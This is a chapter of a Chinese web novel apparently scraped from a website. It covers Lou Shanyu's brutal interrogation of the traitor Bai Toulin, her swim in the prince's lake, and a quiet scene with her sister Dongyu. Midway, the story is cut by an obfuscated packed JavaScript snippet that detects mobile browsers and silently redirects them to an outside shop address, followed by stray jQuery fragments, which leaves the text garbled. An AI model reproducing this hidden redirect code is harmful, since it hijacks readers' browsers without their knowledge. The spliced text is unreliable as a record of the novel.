娄山雨太了解白投林这样的人了,这样的人视忠诚为无物,却视才华为至宝。
侮他名节不痛不痒,辱他才干却要人一命。
果然,听着话白投林一个激灵,之后挣着身子冲娄山雨大喊,“你算什么东西,乡野村妇,敢这样说我!”
娄山雨倒是不怒,只是冷声低语,“别忘了你那个卧病在床的老娘还在娄家,你给我绘一副攻打上河县的路线图,我便善待你的老娘。”
“你不敢!”白投林从下到上死死盯着娄山雨,“你这种人,你是不会害我母亲的!”
竟带着几分猖狂,白投林喊道,“你以为只有我想反水吗?你太天真了!就你领着那帮家伙,全部人加起来也不够太后他们杀得,你想赢?痴人说梦!”
白投林眼角周围透着血红,明明居于危险之中,但是却胜券在握。
“你说你想保护身边的人,但你所作所为,不全是将身边人推向危险之中吗?娄山雨,你不仅杀不了仇雠,你也护不了至亲!你知道为什么吗?”
他疯魔一般大笑。
“就像你不能害我母亲一样——你这个人,不论好事、坏事都做不彻底!”
白投林一字一顿地大喊。
“一、事、无、成!”
说完,他喘着粗气,瘫坐在地上仰视娄山雨,笑得狰狞。
这话像是千万根银针,一根一根扎向娄山雨的心脏,扎得血肉模糊,面目全非。
娄山雨不再管地上兀自愤怒的人,站起身背对着他,接过了周笛递上来的铁鞭,尔后转过身,一步一步走向白投林。
周鸷终于不再无动于衷,他开口吩咐道,“打开门,端来博山香炉。”
怕一会儿血腥气太浓。
白投林果真吓得频频向后缩,他目瞪欲裂,布满恐惧。
啪——
皮肉被撕裂的声音。
“啊!”白投林大喊,“你们,你们要干什么?”
“啊!”
一道道血痕在白投林身上绽开,猩红猩红,像是娄山雨用斗大的毛笔画上去的。
娄山雨神色带煞,眼角眉梢像是覆盖着霜雪,她一句话不说,只一下一下的挥舞鞭子。周鸷这边,下人真的给端了一杯茶来,上好的阳羡茶,产自江南,一路运送而来,茶汤清亮,热气弥漫。
娄山雨睨他一眼,在心里翻白眼,说他大尾巴狼,还真让他装上了。
她甩鞭子甩累了,把铁鞭扔回周笛手上。
周鸷翻手一个请,娄山雨端起茶杯,朝白投林泼了过去。
伤口经过滚烫的茶水一浇,痛彻心扉,鲜血一滴一滴落在地上。
白投林痛得想打滚,但伤口一挨地,又是深入骨髓的疼痛。他不断哀嚎,终于喊道,“我画,我画!你们想知道什么,我都说!”
自从知道上河县赵延一家的靠山是太后一族,鬼点子就上了白投林的心头。他本想回上河县告知赵延娄山雨起义一事,可转念一想,不如来个釜底抽薪,这样求的功名必定更大。
去宫中难如登天,可是见异性王赵凤关却未尝不可,于是他趁夜进京,一路摸进了京城。
可巧,被周鸷安排在异性王府周围的线人看到。
线人来不及通报,暗自把人骗到附近的茶楼,等周笛前来,看到鬼鬼祟祟的白投林,还有何不知?他赶忙绑了人,把人带回了栘王府。
娄山雨冷着脸问,“攻打上河县的路线图,武器库的防守分布,你知道什么都写下来。”
她抄起鞭子,白投林吓得一抖,登时又要惨叫。
裹满血腥气的冰冷铁鞭碰上白投林的下颌,娄山雨用力顶了顶他的脸。
“别想着耍滑头。”她目光像是在看一只随时可以踩死的蚂蚁,“你也不想这鞭子落在你老娘身上吧?”
白投林面色惨白地哆哆嗦嗦。
周笛带着几个侍卫给他松绑,又扔下来一副纸笔。
娄山雨不等人画完,自行出了屋门。
又是血腥气,又是香炉味,黑暗暗的小屋子密不透风,熏得人想吐,娄山雨脑后一根筋突突地跳动。
刚一出门,娄山雨便深吸一口气,再慢慢吐出,身后传来沉稳的脚步声,娄山雨并没有扭头。
一个雪白的帕子被递过来,宽大的手掌骨节分明,娄山雨盯着帕子,缓缓抬手,拿了过来。
手上沾了不少斑斑血迹,她垂着头,细细地擦干净。
修长的手指接过来帕子,不容置哙地抬起她的下颌,娄山雨被迫仰起脸,和周鸷深邃的眼睛对视。
睫毛轻颤,像是欲飞的鸦翅,娄山雨呼吸瞬时乱了。
周鸷的眉眼愈来愈近。
忽然,面颊被人触碰。
娄山雨眨了一下眼睛。
周鸷轻轻地用帕子擦净了娄山雨面上的血痕,动作轻柔地像是在擦拭珍贵的瓷器。
倏地,那份轻抚离去,娄山雨心中怅然若失。
愈加烦闷。
两人一前一后地走,周鸷叫下人在后边远远跟着。
又临王府中央的澄澈湖面,娄山雨停下脚步,那一夜的记忆袭来。
她蹲下来,在湖面撩起水花儿,犹如一个稚童,之后又举起沾了湖水的手指放到面前,耸了耸鼻子轻嗅。
好在摄政王府的湖水分外清澈,既是应了流水不腐的原理,有是占了打理精细的便宜。湖中间眼看着菡萏将绽,荷叶已舒,清亮悦人。
扑通一声——
周鸷眼神一动,远远跟着的仆从们也伸着头望向湖面。
湖水微凉,浸过口鼻耳眼后,灭顶的湖水终于盖过了久久弥漫的血腥味、惨叫声和那句……
一事无成。
好像游鱼一般,娄山雨身姿轻盈,在水中自由穿梭,双臂一划,荡起碧波。
水下是个好去处,可避烦忧。
娄山雨有点想不明白。
明明她只有十九岁,十九岁的姑娘正像是湖中心迎风招展的花儿,姣好的面庞应该无忧无虑,顶多是为赋新词强说愁。
可是为什么?
为什么家仇、起义、反水……这些事要落在她头上?
老夫子言天将降大任于斯人也,必先苦其心志,劳其筋骨。
可是这个“天”太混蛋,既不谈条件,也不讲道理,娄山雨根本不想要这“大任”,她担不起!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686213|188841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
怨天尤人。
娄山雨游到湖中央,恶狠狠折了一支含苞待放的莲花,方才划着水返回。
游至岸边,她双臂趴在一块奇石上,将手中的莲花向上递,一头青丝在水中散落,许是浸在水中的缘故,娄山雨眼角因为染上了殷红。
周鸷蹲下来,他一手接过莲花,另一只手抬起理了理娄山雨贴在面颊的青丝,开口道,“你若是喜欢凫水,听说太后在宫中一处发现了一眼温泉眼,又要引附近的山泉建两处汤浴池,一冷一热,称八卦池。我令人引一渠山泉水,在府中修一处冷泉,夏日正好消暑。”
娄山雨没理他,双手一推岸边奇石,借力越游越远,湖水凉津津地漫过肌肤。
太阳已经下沉,娄山雨眯起眼睛远远瞧着往下坠的太阳,阳光太刺眼了,令人鼻头有些发酸,她一头扎进水面。
无踪无际,只眼眶一圈明艳艳的深红。
再回到岸边时,周鸷还是那个姿势,他沉沉看向娄山雨的眼睛,用谁也没听过的温柔声音道,小祖宗,该冷了,上来吧,尔后他伸出娄山雨喜欢得要命的手。
娄山雨终于舍得把手递上去,对方手掌的温度有些烫,她的手指瑟缩了一下,但被对方紧紧握在手中。
料想到自己眼睛估计又红又肿,难看至极,丢脸至极,娄山雨紧紧抱住周鸷,将上半张脸埋入周鸷的颈窝,不想让人看到。
周鸷感到脖子处一阵潮湿滚烫,像是被一阵熏风轻吻,他抚摸着娄山雨的头,想瞧瞧对方的脸。
娄山雨紧紧环着周鸷的腰,对抗着那点柔和的力度,不抬起头。
一声喂叹,周鸷双臂抱起执拗的小孩,吩咐侍从准备好热水,步伐坚实平稳。
娄山雨身上的水滴滴答答地往下流,在地上留下了一道蜿蜒的水迹。
傍晚时分,天空中的云一层比一层暗,一片比一片大。
冬雨在娄家小院的门阶上仰望着天空,等待着阿姐的回来,老娄也坐过来,给她端了一碗绿豆粥。
这些日子,老娄不知为何转了性,不再带着孩子们东奔西跑提问算卦问卜,反而老老实实待在家中,一边给白投林授业,一边给半大的孩子们启蒙。甚至娄山雨不在家的日子,老娄接手了家里全部的事务。
冬雨接过粥,小口小口地喝下去。
不算好喝,但是熟了。
“阿叔。”冬雨轻声开口。
老娄立马哎了一声应她,他对娄山雨和冬雨的态度全然不同,对娄山雨,可以呛声可以认怂,但是对冬雨,却是尽心尽力地呵护。
没人能一碗水端平,他收养的孩子很多,没有不喜欢的,最令他佩服的是山雨,可是最令他喜欢的则是冬雨。
有垂怜万物之心,无贪念伪善之恶。
有慧根。
冬雨遥望着娄家门口的那条路,好像一眼望不到尽头,她转过脸来对老娄认真地说,“阿叔,我们是不是再也回不去了?”
她才十三,还太小,恨也没个形状,遗憾也是飘忽的,只感到心里一直在刮风下雨。
一向能言善辩的老娄哑巴了,不知道为什么冬雨会有这么的疑问,更不知道如何回答。